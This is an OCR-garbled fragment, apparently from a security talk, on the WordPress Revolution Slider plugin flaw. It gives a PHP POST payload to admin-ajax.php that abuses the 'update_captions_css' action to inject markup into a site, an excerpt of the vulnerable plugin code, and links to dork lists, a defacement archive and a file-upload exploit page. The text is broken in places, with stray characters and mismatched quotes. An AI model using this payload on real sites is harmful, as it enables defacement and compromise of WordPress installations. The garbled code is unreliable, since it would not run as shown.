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$post = array?>
"action" => "revslider_ajax_action",

"client_action" => "update_captions_css",

"data" => "<marquee>Malicious Code Here</marquee>"

);
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232. $action = self::getPostGetVar("client_action");
233. $data = self::getPostGetVar("data");

301. case "get captions _css"
302. $contentCSS = $operations->getCaptionsContent();
303. self::ajaxResponseData($contentCSS);

305. case "update captions css":

306. $arrCaptions = $operations->updateCaptionsContentData($data);

307. self::ajaxResponseSuccess('CSS file saved
succesfully!",array("arrCaptions"=>%arrCaptions));
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p#id { color: #ff3300 }
p#id { font-size: 24px }

CSSI7714))

http://target.com/wp-admin/admin-ajax.php

$post = array?>

(

"action" => "revslider_ajax_action",
"client_action" => "update_captions_css",
"data" => “<h1>TEST</h1>"

/ )i
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— Google Hacking Database
- http://www.exploit-db.com/google-dorks/
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e 50,000 sites hacked through WordPress plug-in vulnerability
http://www.pcworld.com/article/2458080/thousands-of-sites-compromised-
through-wordpress-plugin-vulnerability.html

e Index Php | Zone-H.org
http://www.zone-h.org/archive/notifier=Index%20Php

e Wordpress Plugin Revolution Slider - Unrestricted File Upload
http://www.exploit4arab.net/exploits/1416
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